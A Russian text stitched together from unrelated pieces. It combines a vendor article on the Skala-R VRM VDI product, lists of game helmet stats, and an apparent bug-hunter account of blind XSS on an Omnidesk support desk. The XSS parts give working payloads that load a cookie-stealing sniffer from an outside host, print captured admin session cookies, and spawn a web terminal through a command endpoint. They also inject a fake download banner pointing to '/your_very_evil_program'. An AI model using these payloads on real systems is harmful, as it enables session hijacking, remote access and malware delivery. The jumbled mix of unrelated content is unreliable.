VDI Скала-Р ВРМ. Что это такое и откуда оно взялось

Эксплуатация xss уязвимости

Данная статья описывает применению xss уязвимости:

• Кража токена
• Кража окружения
• Изменения контента сайта
• Получения доступа к системе хостинга

Цель статьи — рассказать про продукт и его архитектуру. По сути то, что постоянно рассказывают наши технические пресейл-инженеры нашим партнерам и заказчикам.

Немного покидаемся помидорами в «конкурентов», совсем чуть-чуть. Куда без этого 😀

Спойлер: про вирус в статье ничего нет, кроме этого предложения.

Немного про команду

Так сложилось исторически, что внутри большого интегратора IBS завелся Департамент продуктового развития и производства. Раньше его еще неофициально называли Interlab.

Сотрудники этого департамента занимаются исследованием перспективных технологий, проверкой гипотез, тестированием различных решений и, как не сложно догадаться, созданием собственных продуктов. Собственно, так была создана линейка продуктов, в названии которых присутствует слово «Скала».

Сегодня речь будет идти о программном продукте — VDI-решении (virtual desktop infrastructure) Скала-Р Виртуальное Рабочее Место. Сокращенно — Скала-Р ВРМ.

Почему мы решили сделать VDI?

Все предельно просто. Мы верим в эту технологию. У нас есть опыт как внедрения VDI, так и участия в ее разработке. Проекты внедрения VDI не такие простые, так как затрагивают работу многих пользователей. Но нам кажется, что время VDI пришло. Мы видим спрос на такие решения на российском рынке. Многие заказчики стали учитывать санкционные риски, у некоторых даже есть KPI по импортозамещению. Ряд организаций уже давно активно используют подобные продукты западных производителей (самые популярные — Citrix и VMware). Другие ничем подобным не пользовались, но преимущества технологии осознают и готовы сделать ставку на отечественные решения.

Экскурс в историю

Наша команда уже не первый раз разрабатывает VDI-решение. Вместе с коллегами из Virtuozzo (подразделение Parallels, которое занимается виртуализацией) мы разработали совместно за 4 года продукт для виртуализации рабочих мест — Parallels VDI. В этом сотрудничестве наша команда занималась формированием технических и бизнес-требований к продукту. Наш партнер превращал требования в код. Особенностью этого продукта было использование контейнерной виртуализации Windows, которую разработала Parallels. Microsoft в то время о собственных контейнерах даже не думала. Продукт имел свои плюсы, были и технические трудности (в том числе из-за контейнеров). В конечном итоге мы провели сертификацию ФСТЭК Parallels VDI и Virtuozzo Containers for Windows. Провели несколько внедрений. К сожалению, по ряду причин продукт прекратил существование. Права на код остались у партнера, из-за чего сами развивать продукт дальше мы не имели права. Однако интерес к отечественному VDI остался.

Кроме совместной разработки Parallels VDI, у нас есть богатый опыт реализации проектов по консолидации рабочих мест с использованием решений Citrix и VMware. В общем, наша команда видела, пожалуй, все, что творится «под капотом» VDI-решений. Мы хорошо знаем, как они должны быть устроены и чем отличаются от простой виртуализации.

Кинем немного помидоров в отечественные VDI-решения

Да, для малых организаций этого может быть достаточно. Но называть это промышленным VDI-решением категорически нельзя!

Наблюдая такое безобразие, мы попытались сформулировать гигиенический минимум функций промышленного VDI-решения. Который, кстати, в том числе помог нам в разработке Скала-Р ВРМ.

Надо признать, что не все собирают что-нибудь из open source на коленке. Видели товарищей, без стеснения совести предлагающих в государственных организациях использовать испанский VDI, который умеет интегрироваться с OpenNebula. Признаться честно, мы не знаем, насколько он хорош. Но то, что его нет в реестре отечественного ПО — это факт.

Интерес к отечественному VDI есть. Есть и предложение, хотя по опыту у многих отечественных разработчиков все работает только на слайдах в PowerPoint. Очевидный вывод — надо сделать свой хороший промышленный VDI, который будет максимально близок к мировым лидерам в этой области.

Кроме того, к моменту принятия решения мы уже разрабатывали собственную систему управления виртуализацией «Скала-Р Управление». Так что создать свой VDI с собственной системой управления виртуализацией — решение логичное и очевидное.

Итак, в конце 2016 года мы усилили нашу команду и начали собственную разработку с нуля. Вся кодовая база была под нашим контролем, писали код преимущественно на Python.

Наш прошлый опыт дал нам крутой буст. Так что побежали мы быстро.

Шапка Деда Мороза

(Масса: 1)
Цена: 2 з.
Долговечность: 2/2
Требуется минимальное:
Уровень: 0
Пол: Муж.
Действует на:
Интуиция: 50
Уровень жизни: 100
Броня головы: 50

Шапка Деда Мороза

(Масса: 1)
Цена: 4 з.
Долговечность: 2/2
Требуется минимальное:
Уровень: 3
Пол: Муж.
Действует на:
Интуиция: 100
Уровень жизни: 200
Броня головы: 100

Шапка Деда Мороза

(Масса: 1)
Цена: 6 з.
Долговечность: 2/2
Требуется минимальное:
Уровень: 6
Пол: Муж.
Действует на:
Интуиция: 300
Уровень жизни: 500
Броня головы: 300

Шапка Деда Мороза

(Масса: 1)
Цена: 8 з.
Долговечность: 2/2
Требуется минимальное:
Уровень: 9
Пол: Муж.
Действует на:
Интуиция: 500
Уровень жизни: 1000
Броня головы: 500

Шлем кромешной тьмы

(Масса: 8)
Цена: 540 з.
Долговечность: 100/100
Требуется минимальное:
Ловкость: 10
Уровень: 4
Действует на:
Сила: +10
Ловкость: +10
Интуиция: +10
Интеллект: +10
Уровень жизни: +50
Броня головы: +50

Абслютный Шлем Князей

 (Масса: 12)
Цена: 795 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +30
Ловкость: +30
Интуиция: +30
Интеллект: +30
Уровень жизни: +100
Броня головы: +50
Владение топорами и секирами: +50%

Владелец: Князь Владимир

Шлем темной силы

(Масса: 5)
Цена: 795 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Уровень жизни: +200
Броня головы: +200
Владение мечами: +100%

Шлем мести Джедая

(Масса: 10)
Цена: 795 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +30
Ловкость: +30
Интуиция: +30
Интеллект: +30
Уровень жизни: +100
Броня головы: +50
Кузнец: +50%

(Масса: 8)
Цена: 795 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +30
Ловкость: +30
Интуиция: +30
Интеллект: +30
Уровень жизни: +100
Броня головы: +50
Магия: +50%

Шлем ненависти духов

 (Масса: 6)
Цена: 795 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +30
Ловкость: +30
Интуиция: +30
Интеллект: +30
Уровень жизни: +100
Броня головы: +50
Лекарь: +30%

(Масса: 5)
Цена: 390 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +10
Ловкость: +10
Интуиция: +10
Интеллект: +10
Уровень жизни: +50
Броня головы: +30

(Масса: 2)
Цена: 795 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +30
Ловкость: +30
Интуиция: +30
Интеллект: +30
Уровень жизни: +100
Броня головы: +50
Владение мечами: +50%

(Масса: 6)
Цена: 400 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +10
Ловкость: +10
Интуиция: +10
Интеллект: +10
Уровень жизни: +50
Броня головы: +30

(Масса: 6)
Цена: 1045 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +30
Ловкость: +30
Интуиция: +30
Интеллект: +30
Уровень жизни: +100
Броня головы: +50
Владение топорами и секирами: +50%

(Масса: 5)
Цена: 410 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +10
Ловкость: +10
Интуиция: +10
Интеллект: +10
Уровень жизни: +50
Броня головы: +30

(Масса: 8)
Цена: 2300 з.
Долговечность: 1000/500
Требуется минимальное:
Уровень: 6
Действует на:
Сила: +100
Ловкость: +100
Интуиция: +100
Интеллект: +100
Уровень жизни: +200
Броня головы: +200
Лекарь: +100%

(Масса: 10)
Цена: 1195 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 7
Действует на:
Сила: +50
Ловкость: +50
Интуиция: +50
Интеллект: +50
Уровень жизни: +200
Броня головы: +200
Владение топорами и секирами: +80%

(Масса: 10)
Цена: 1195 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 7
Действует на:
Сила: +50
Ловкость: +50
Интуиция: +50
Интеллект: +50
Уровень жизни: +200
Броня головы: +200
Владение топорами и секирами: +80%

Владелец: NO NAME

Цена: 1947 з.
Долговечность: 500/500
Требуется минимальное:
Уровень: 7
Действует на:
Сила: +50
Ловкость: +50
Интуиция: +50
Интеллект: +50
Уровень жизни: +200
Броня головы: +200
Владение топорами и секирами: +80%

Действует на:

Владелец: выдается временно
за победу на турнире

Действует на:

Древний шлем финских ассасинов
Долговечность: 500/500

Уровень: 7

Сила: +50
Ловкость: +50
Интуиция: +50
Интеллект: +50
Уровень жизни: +200
Броня головы: +200
Броня корпуса и пояса: +200
Броня ног: +200
Владение топорами и секирами: +80%

Владелец: Финский Батя28

Головной убор красавицы
Действует на:

Владелец: Сет

Корона смышлены

Владелец: 

(Масса: 10)
Цена: 1988 з.
Модификация: +10
Долговечность: 500/500
Требуется минимальное:
Уровень: 7
Действует на:
Сила: +50
Ловкость: +50
Интуиция: +50
Интеллект: +50
Уровень жизни: +200
Броня головы: +200
Владение мечами: +90%

(Масса: 5)
Цена: 204 з.
Модификация: +10
Долговечность: 500/500
Требуется минимальное:
Уровень: 4
Действует на:
Сила: +20
Ловкость: +10
Интуиция: +10
Интеллект: +10
Уровень жизни: +50
Броня головы: +80

Самое интересное то, что люди на всё это до сих пор ведутся, вступают в группу в надежде на бесплатный ключ, делают репост в надежде на то, что им повезет и они выиграют дорогой игровой PC(

но мы то знаем, что никто PC не получит

), когда они хотят получить что-то бесплатно, ими легко манипулировать для своих целей.

Посмотрим на него.

Написано, что сайту более трех лет, хотя домен ***random.ru зарегистрирован 2016.10.07.

Нажимаем на «Хочу заработать», видим сообщение:

Имеешь паблик и хочешь на нем заработать? Получай ссылку и сливай трафик, получая 75% с каждого проданного ключа. Рассматриваем паблики от 5000 подписчиков.

Математика: Допустим, из 100 000 подписчиков 10% купили ключ за 100 рублей, то создатели паблика получат: 10 000*100=1 000 000 — 250 000 (25%) =

750 тысяч рублей

. Неплохой заработок, наверное, они хорошо заплатят за найденную на их сервисе уязвимость.

Для сайтов *****-keys.ru и ***random.ru служба поддержки общая. Тестируем службу поддержки по url support.gamedelivery.info. Есть функционал личного кабинета, там уязвимостей не обнаружено, в поиске по тикетам тоже. Надежда только на отправку запроса в спп.

Тестируем на слепую xss-уязвимость — отправляем админу обращение с именем и телом:

\"--></script>"><script src=https://securityz.net/test_for_habr.js?><meta http-equiv="refresh" content="1;URL=https://securityz.net?gamedelivery" />

Мы отправили админу подгрузку js с нашим сниффером и редирект на наш сайт. Смотрим логи:

**3.9*.56.123 — – [18/Feb/2017:01:14:10 +0300] «GET /gamedelivery HTTP/1.1» 200 391686 “-” «Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.2 Safari/537.36»

Логи на сниффер не пришли, значит в поддержке пользователей стоит фильтр на script. НО <meta http-equiv=«refresh» сработал, значит xss есть.

Пытаемся подгрузить наш скрипт сниффера другим образом: как onerror в img:

var scriрt =document.сreatеElеment('script');script.src ='//securityz.net/test_for_habr.js'; documеnt.body.appendChild(script);

Ждем, пока админ зайдет в тикет с js-скриптом и отдаст нам все свои cookies, скриншот страницы и весь html-код страницы.

Скрипт выполнился на /staff/cases/list/filter/open, cookies мне пришли.

PHPSESSID=4182ssjqfae0fl73f7lqkgdcb8; ajs_anonymous_id=%22c8582a35-f81b-43bd-8223-e0c7c43bc53a%22; _hjIncludedInSample=1; _cioid=client-2990; _cio=54bdeef1-058c-8f11-47fe-26d4f538fcf7; ajs_user_id=null; ajs_group_id=null

Я кукам не обрадовался, потому что часто сталкиваюсь с httponly, здесь может быть то же самое.

Подменяю куки и я оказываюсь в панели сотрудника.

Пытаюсь сменить пароль на аккаунте, но для этого мне нужен текущий пароль. Добавить нового сотрудника не могу, тк у этого аккаунта не достаточно прав.

После того, как обнаружил уязвимость, сразу сообщил об этом в обратной связи. Пока ждал ответа, мой друг сказал мне, что эта служба поддержки — проект omnidesk.ru. Они предоставляют такие спп многим компаниям. Это значит, что таким образом с помощью слепой xss можно было бы взломать всех клиентов omnidesk. В открытом доступе их нету.

Но был бы на моем месте злоумышленник, он бы взломал сотрудника support.omnidesk.ru, слил список всех компаний, и атаковал их.

Или можно пойти другим путем. Выясняем, что http://support.gamedelivery.info/ имеет зеркало на омнидеске https://gamedelivery.omnidesk.ru/, а это значит, что другие компании тоже!

Пользуемся гугл дорком site:*.omnidesk.ru и находим 2050 компаний! Это довольно много. Но это не все компании, их на самом деле больше, потому что не все компании используют каноническое имя *.omnidesk.ru. gamedelivery.omnidesk.ru, например, в поисковиках нету, он нигде не светится. Единственный вариант — это смотреть по подсетке ip. Если бы эта уязвимость попала в руки злоумышленников, то был бы огромный слив данных. Сайты с наибольшим alexarank(по России):

https://ponominalu.ru/ — 2113
https://e-pay.tv — 4000
http://autozs.ru/ — 4200
https://fotobiz.pro/ — 13000
https://super-ego.info/ — 14000
https://kb.onlinepbx.ru — 18000

+ Есть демо-срок использования сервиса — 14 дней, а потом нужно платить. Значит, omnidesk еще и неплохо зарабатывает.

Пришёл ответ от ***random.ru о том, что уязвимость и слив их базы данных — это не их проблема, а omnidesk. Пишем omnidesk. Руководитель сначала предлагает 1000 р( $16) за информацию об этой xss.

Пишем, что эта уязвимость критическая и просим немного увеличить сумму вознаграждения.

Ответ: Могу предложить 3000 рублей.

Платить за подобное много мы не можем. Во-первых, мы не так богаты, как вы предполагаете. Во-вторых, вы сначала сообщили об уязвимости клиенту, а только потом нам. В-третьих, данные клиента уже у вас. То есть произошло всё, чего нам бы хотелось избежать. Саму же уязвимость исправили.

15 февраля в 14.24: Пришли логи.
15 февраля в 15.33: Пишем владельцу службы поддержки.
16 февраля в 1.13: Награда 3000 р.
17 февраля: Помогаем разработчикам с безопасностью.
20 февраля: Разработчики устраняют остальные уязвимости.

Сайт omnidesk очень неплохой, плохо, что они так относятся к своей безопасности. Теперь, я думаю, они поняли, что безопасность в проекте нужно ставить на первое место. Я очень надеюсь на то, что эта статья никак не повлияет на их репутацию.

Многим компаниям можно указать на «дыру» в безопасности, они поймут, что дыру нужно закрывать, а некоторым просто все равно на безопасность своего сайта, они думают «Работает, ну и пусть работает, не будем это трогать». Пример — СЕО компания из Одессы serpstat.com (alexarank 10 000 в России), единственный способ связаться с разработчиками — это написать в чат. Вот диалог:

Я: Обнаружил XSS уязвимость, куда можно обратится?
Евгений: Уязвимость на нашем сервисе?
Я: Да, на вашем.
Евгений: Мы неуязвимы, как главный герой в Крепком орешке-3.
Я: Ещё обнаружил iDOR, могу удалить любой проект на сайте, дайте номер.
Евгений: Без проблем, 85987.
(дальше оператор будет делать вид, что я не удалил его проект:D, хотя смог удалить проект на втором тестовом аккаунте).
Я: Добрый день, обнаружил XSS уязвимость на Вашем сайте https://www.openbugbounty.org/incidents/213614/.
Евгений:

Я: Вам нужна она, присылать подробности?
Евгений: Спасибо, оставьте себе.
Я: такое чувство, что вам совсем наплевать на безопасность сайта.
Евгений: Скорее, нет желания переходить по всяким ссылкам, которые Вы пишите в чате
(скорее всего, ссылка на openbugbounty испугала оператора)

Кстати, с этого можно сделать хороший мем:D

Вывод с этой статьи: В административной панели нужно ставить cookies на HttpOnly. serpstat.com — совсем не заботится о своей безопасности, лучше им не доверять свои данные.

Администрация Хабрахабра запретила добавление ссылок в статье на «вредоносные группы и сайты» и названия этих групп в скриншотах.

Что такое Скала-Р ВРМ

VDI-решение IBS Скала-Р Виртуальное Рабочее Место (ВРМ) — это программный комплекс для виртуализации рабочих мест пользователей.

• повысить уровень информационной безопасности,
• снизить стоимость обслуживания рабочих мест сотрудников за счет централизации управления,
• снизить время подготовки новых рабочих мест,
• обеспечить плавный переход на использование отечественных ОС в рамках плана по импортозамещению.

Наше решение позволяет организовать виртуальные рабочие места, функционирующие на серверных мощностях в контролируемом периметре центра обработки данных. Подключаться к ним можно с защищенного устройства доступа на отечественной ОС.

Целевые потребители — средние и крупные промышленные предприятия, государственные и коммерческие организации, госкорпорации, региональные и федеральные ведомства и органы власти.

Архитектура

В прошлой статье, где мы рассказывали о нагрузочном тестировании на 16000 пользователей, мы уже затрагивали архитектуру решения. Тем кто ее не читал, рекомендую ознакомиться с разделом «Этапы подключения пользователя в виртуальный рабочий стол». Там достаточно подробно описано, как компоненты взаимодействуют в сценарии авторизации и подключения пользователя.

В этой статье подробнее рассмотрим основные функции компонентов Скала-Р ВРМ.

Схему можно увидеть в самом начале статьи. Компоненты будем рассматривать слева направо. Но сперва стоит сказать о функции, которая есть у всех компонентов нашего VDI-решения — контроль целостности. Как во время запуска компонента, так и систематически производится проверка его целостности (время проверки можно настраивать). Если целостность нарушена — компонент прекратит работу.

Клиент ВРМ — клиентское ПО, которое устанавливается на устройство доступа пользователя. Представляет графический интерфейс взаимодействия конечного пользователя с инфраструктурой VDI. На момент написания статьи Клиент ВРМ есть для следующих ОС (список пополняется в зависимости от потребностей партнеров и заказчиков):

• KasperskyOS for Thin Client;
• Альт 7 СПТ, Альт 8 СП, Альт 8;
• Astra Linux Smolensk, Astra Linux Orel;
• GM-Box;
• Windows 7 и выше.

К основным функциям Клиента ВРМ можно отнести:

• Формирование hardware ID (HWID) для авторизации устройства доступа. Во время запуска Клиент собирает информацию об устройстве, на котором запущен. На основе неизменяемых аппаратных параметров формируется HWID. При подключении к Диспетчеру подключений происходит авторизация устройства доступа: Клиент ВРМ передает HWID и информацию об устройстве, Брокер-менеджер производит авторизацию устройства согласно настроенной политике.
• Взаимодействие со смарт-картой при авторизации по сертификату. Если настроена авторизация по сертификату или двухфакторная авторизация, Клиент ВРМ «общается» со смарт-картой напрямую, используя библиотеку производителя смарт-карт. На текущий момент поддерживаются все широко распространенные в России устройства.
• Смена пароля пользователя. Если во время авторизации оказалось, что пароль пользователя просрочен, Клиент ВРМ отображает экран смены пароля. Важная функция для пользователей, у которых VDI — единственное окно в корпоративную сеть.
• Настройка и запуск протокола доставки рабочего стола. Клиент ВРМ позволяет пользователю настроить проброс принтеров, смарт-карт, локальных дисковых ресурсов, выбрать монитор и режим отображения удаленного рабочего стола и т.д. Некоторые из настроек будут работать, только если администратор разрешил их. Когда настает момент подключения в виртуальный рабочий стол, Клиент ВРМ формирует параметры запуска используемого протокола и запускает его.
• Опциональное шифрование трафика до Диспетчера подключений. Причем защищается как управляющий трафик, так и трафик протокола доставки рабочего стола (дополнительно к защите самого протокола). Данная функция не сертифицирована ФСБ. Поэтому если стоит задача аттестации, требуется дополнительно сертифицированное средство защиты канала от Клиента ВРМ до Диспетчера подключений. Встроенную защиту в таком случае можно отключить.

Протокол доставки виртуального рабочего стола — исполнительный механизм, доставляющий картинку на устройство доступа, а управляющие воздействия пользователя в виртуальный рабочий стол в ЦОДе. От возможностей данного протокола зависит набор сервисов, которые будут работать (проброс принтеров, общий буфер обмена, смарт-карты и т.д.). И как они будут работать.

Собственного протокола доставки рабочего стола у нас пока нет. Поэтому осуществляем поддержку существующих. Используем разные протоколы для подключения в виртуальные рабочие столы с разными ОС:

• ВРМ на Linux — RX@Etersoft,
• ВРМ на Windows — RDP.

Возможности протоколов представлены в таблице ниже:

Нас часто спрашивают, почему мы не используем SPICE. Есть несколько причин:

• SPICE не позволяет реализовать сквозную авторизацию от VDI-клиента до виртуального рабочего стола.
• SPICE пробрасывает все устройства как сырые USB. Т.е. сетевой трафик с устройством, который передается по USB-каналу, начинает передаваться по сети в виртуальный рабочий стол и обратно. Это приводит к увеличению трафика и к отсутствию проброшенных устройств в ОС устройства доступа. Эта технология, кстати, не позволяет пробрасывать сетевые принтеры, настроенные на устройстве доступа.
• Смарт-карты также пробрасываются как сырые USB-устройства. Как следствие, локально на устройстве доступа их видно не будет. На защищенных устройствах с авторизацией по сертификату так работать не получится.

Если на данный момент в SPICE что-то улучшилось, просим поделиться в комментариях.

Настраивается протокол не только Клиентов ВРМ на устройстве доступа, но и в виртуальном рабочем столе при помощи нашего Агента ВРМ, до которого мы скоро дойдем.

Диспетчер подключений — компонент, терминирующий на себе подключения пользователей. Это прокси, который передает управляющий трафик брокер-менеджерам, а трафик протокола доставки рабочего стола в виртуальный рабочий стол. Размещать его стоит в ДМЗ как пограничный компонент.

На Диспетчерах подключений настраивается одна из четырех политик аутентификации:

• по паре логин-пароль;
• по сертификату;
• двухфакторная аутентификация;
• или логин-пароль, или сертификат.

Причем можно указать разные политики для разных диспетчеров. Так, указывая разные Диспетчеры подключений в конфигурационном файле Клиента ВРМ, можно настроить разные политики для разных пользователей. Обычно этого не требуется, и настраивается одна политика для всех.

Отказоустойчивость Диспетчеров подключений реализована очень просто. В Клиенте ВРМ указывается их список. Клиент ВРМ подключается к первому из списка, если не удается — ко второму и т.д.

Отсюда возникает законный вопрос: как происходит балансировка пользователей между Диспетчерами подключений, если пользователей десятки тысяч? Собственный балансировщик в планах развития, поэтому пока используем сторонний, который пулирует соединения пользователей на разные Диспетчеры подключений. А чтобы это можно было делать эффективнее, через API можно получать коэффициент текущей загруженности Диспетчера подключений по шкале от 0 до 1.

Опыт показал, что один Диспетчер подключений выдерживает около 2000 сессий пользователей. Если инсталляция на чуть большее количество пользователей, можно административно для части пользователей указать Диспетчеры подключений в конфиге Клиента ВРМ в одном порядке, для другой части пользователей — в другом порядке.

Брокер-менеджер — мозг Скала-Р ВРМ.

Большая часть функционала замкнута на этом компоненте. Боюсь, всего мы здесь не опишем. Попробуем выделить основное:

• авторизация устройств доступа. После получения от Клиента ВРМ через Диспетчер подключений HWID брокер-менеджер проверяет, разрешено ли этому устройству подключение. Для неизвестных устройств доступа есть выбор из двух политик — разрешать подключение или запрещать. Если настроен запрет, устройство доступа будет занесено в базу, после чего администратор должен вручную разрешить подключение с данного устройства. Также администратор может запретить подключаться с конкретного устройства. Или система может его временно заблокировать по неуспешным попыткам авторизации пользователей (если перебирают логин-пароль). Нужно заметить, что пока не пройдет успешная авторизация устройства доступа, пользователь не увидит окна ввода данных для аутентификации и авторизации.
• работа с внешним LDAP-каталогом. Чтение из LDAP при: назначении пользователей и их групп на рабочие столы; формировании списка доступных рабочих столов (проверяется членство в группах). Осуществляется авторизация пользователя и обработка результата авторизации. Смена пароля пользователя в LDAP (на самом деле AD или связка LDAP/Kerberos).
• соблюдение парольной политики пользователя. В системе есть собственная парольная политика, регламентирующая парольный алфавит, сложность, длину, число неуспешных попыток авторизации, срок действия пароля и т.д. Некоторые параметры дублируют такие же параметры LDAP-каталога. Например, число неуспешных попыток авторизации. В таком случае срабатывает политика, настроенная строже. Если это политика Скала-Р ВРМ, пользователь будет заблокирован по неуспешным попытка авторизации только в нашей системе, и администратор сможет его вручную разблокировать не обращаясь к LDAP-каталогу. Если сработала политика LDAP, придется разблокировать пользователя там.
• взаимодействие с системой управления виртуализацией Скала-Р Управление. Скала-Р ВРМ ничего не знает об оборудовании, на котором работают виртуальные рабочие столы. Система оперирует API Скала-Р Управление. Объединяющим объектом этих систем является пул ресурсов — логический сегмент ресурсов, в рамках которых выделены CPU, RAM и дисковая емкость. Пулы рабочих столов живут в рамках данных объектов — пулов ресурсов; Кстати, уже в летнем релизе мы сделаем в Скала-Р Управление интеграцию с VMware и OpenStack, что позволит использовать наш VDI совместно с этими системами виртуализации.
• автоматизация жизненного цикла виртуальных рабочих столов. Про эту часть отдельно будет ниже.
• исполнение управляющих воздействий администратора. Возможности администратора довольно широкие. Можно перевести рабочие столы в режим обслуживания, можно принудительно отключить пользователя от рабочего стола, подключиться в сессию пользователя для оказания технической поддержки (если пользователь разрешит), управлять питанием виртуальных рабочих столов, отправлять сообщения пользователям (отобразится и внутри виртуального рабочего стола, и в Клиенте ВРМ, чтобы точно никто не пропустил). И это не полный список возможностей.

Брокер-менеджер — это компонент, который взаимодействует со всеми остальными компонентами Скала-Р ВРМ и управляет ими.

LDAP комментариев не требует. В любой организации есть LDAP каталог в качестве централизованной системы управления учетными записями пользователей. Мы поддерживаем интеграцию с Microsoft Active Directory и линуксовыми реализациями LDAP/Kerberos.

PostgreSQL — конфигурационная база для хранения данных системы. Можно использовать российскую СУБД Postres Pro, даже сертифицированную. Однако обычно достаточно ванильного.

Агент ВРМ — ключевой компонент по управлению и подготовке виртуального рабочего стола. Устанавливается на этапе подготовки шаблона, после чего может обновляться из веб-панели администратора.

На наш взгляд, именно этот компонент критически необходим для автоматизации подготовки рабочего стола. Без него обеспечить адекватное управление рабочим столом (ввод в домен, настройку firewall, настройку разрешений на проброс устройств и т.д.) просто невозможно. А если управление осуществляется вручную, без агента, такое решение назвать VDI нельзя. Поэтому, наличие этого «засланного казачка», обычно отличает промышленное VDI-решение от собранного на коленке «ручного привода».

Функции, которые выполняет Агент ВРМ:

• Указание hostname. Виртуальные рабочие столы именуются автоматически, по заданной администратором маске. Кроме имени виртуальной машины, Агент настраивает таким же ее hostname.
• Добавление виртуального рабочего стола в домен (в том числе рабочих столов Linux) или настройка авторизации в LDAP/Kerberos. В случае использования Active Directory администратор может указать конкретный OrgUnit, куда будут добавляться учетные записи виртуальных рабочих столов.
• Подготовка к подключению пользователя. Перед каждым подключением, Агент ВРМ получает от брокер-менеджера команду на подготовку виртуального рабочего стола, которая включает:
  • настройка серверной части протокола доставки виртуального рабочего стола по полученным от брокер-менеджера политикам (например, если запрещен администратором проброс локальных папок, как бы пользователь ни старался, работать он не будет т.к. отключен на серверной стороне протокола);
  • добавление пользователя в локальную группу — для Windows может быть “remote desktop users” (локальный пользователь) или администратор, для Linux специальная группа для протокола RX;
  • настройка firewall — Агент ВРМ открывает определенный порт в firewall для получения подключения с Диспетчера подключений.
• Исполнение команд от брокер-менеджера. Например, при инициализации подключения в сессию пользователя Агент ВРМ показывает пользователю окно с запросом разрешения на подключение и поднимает VNC-сервер, к которому администратор подключается из веб-консоли; по окончании сеанса VNC сервер выключается. Или отображение отправленного администратором сообщения.
• Обновление Агента ВРМ на новую версию. Если версия инсталляции повысилась, а Агент остался на старой, у администратора будет об этом индикация в веб-интерфейсе. Может быть инициировано обновление Агента из веб-консоли управления.

Скала-Р Управление. Наша система управления платформой виртуализации. На рисунке компонент изображен монолитно, т.к. основное внимание в данной статье уделяется системе VDI. На самом деле там также есть отказоустойчивость, возможность масштабирования и распределение нагрузки.

Агент Скала-Р Управление. Компонент на хосте виртуализации, который транслирует команды Скалы-Р Управление гипервизору и собирает данные с хоста. Подробнее — отдельной статьей, если будет интерес.

Получение доступа к системе

Как вы помните у нас есть endpoint который запускает команду, так что теперь мы можем делать всё что хотим, но пользоваться этим не очень удобно так что запустим на сервере gritty
Теперь устанавливаем /exec?cmd=npm%20i%20gritty%202%3E%261
И запускаем /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
И по порту 8022 нам становится доступен терминал gritty

XSS — крайне опасен

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Написать инструмента для проведения более удобных атак

Написать о платформе типа авто админ (кликает на ссылки и т. п.)

Проголосовали 65 пользователей.

Воздержались 20 пользователей.

Изменение контента

Писать от имени администратора весело, но давайте немного изменим контент сайта. Добавив к нашему злостному скрипту такие строки

let d = document.createElement('div')
d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>`
document.body.appendChild(d)

document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;')

После того как мы от имени админ отправим такую фотку, у всех получателей появится баннер который при нажатии ведёт на наш /your_very_evil_program

Автоматизация жизненного цикла виртуальных рабочих столов

Виртуальные рабочие столы существуют только в рамках пулов рабочих столов. Пулы рабочих столов нужны, чтобы соотнести размещение ВМ в пуле ресурсов системы управления виртуализацией. Есть несколько типов пулов рабочих столов:

• персонализированный,
• полуавтоматический,
• сессионный.

Рассмотрим каждый по отдельности.

Персонализированный пул рабочих столов

Данный пул характеризует минимальная автоматизация и ручное создание под каждого пользователя виртуального рабочего стола из шаблона руками администратора.

Сценарий использования — рабочие столы для руководства или сотрудников с очень специфичным набором ПО.

Посмотрим настройки персонализированного пула:

Как видите, в настройках даже нельзя задать шаблон рабочего стола. Все потому, что каждый рабочий стол создается администратором по отдельности.

Из параметров, заслуживающих отдельного внимания:

• тайм-аут неактивности — время неактивности пользователя внутри виртуального рабочего стола, по истечении которого пользователь будет отключен от рабочего стола и разлогинен в Клиенте ВРМ;
• тайм-аут выключения — считается с момента отключения пользователя от виртуального рабочего стола (самостоятельно или по тайм-ауту неактивности). Когда тайм-аут выключения истекает, рабочий стол выключается. Если стоит нулевое значение, тайм-аут выключен;
• Сервисы — набор зависит от выбранного «протокола». То, как эти параметры используются мы описывали в рамках Агента ВРМ.

Меню создания персонализированного рабочего стола:

Тут уже присутствует выбор шаблона и учетной записи пользователя. Персонализированные рабочие столы назначаются на конкретные учетные записи пользователей.

Персонализированный (авто) пул рабочих столов

Однажды нас попросили сделать персонализированные рабочие столы, но так, чтобы не создавать каждый рабочий стол по отдельности. Чтобы раз создал на всех из одного шаблона, и все. Лень, знаете, — двигатель прогресса.

Сценарий использования: набор персонализированных рабочих столов с одинаковым ПО.
Настройки пула:

Тут настроек уже поприбавилось. Рассмотрим отличительные параметры:

• маска именования — при автоматическом создании именуем рабочие столы согласно маске;
• максимальное количество — верхний предел по количеству рабочих столов в пуле;
• минимальное количество — сколько система будет поддерживать созданных в пуле виртуальных рабочих столов. Если администратор удалит рабочие столы, система создаст автоматом новые до «минимального количества»;
• шаблон — собственно шаблон виртуального рабочего стола, который используется при автоматическом создании рабочих столов в этом пуле;
• группа пользователей — доступ к данному пулу уже определяется по членству в группе.

Сценарий работы данного пула следующий: администратор создает данный пул, система автоматически создает «минимальное количество» виртуальных рабочих столов, которые пока никем не заняты; когда пользователь подключается первый раз, за ним резервируется конкретный виртуальный рабочий стол. Все, рабочий стол, на который назначен пользователь, стал персонализированным. Учетная запись пользователя намертво ассоциируется с конкретным столом, пока администратор не разлучит их.

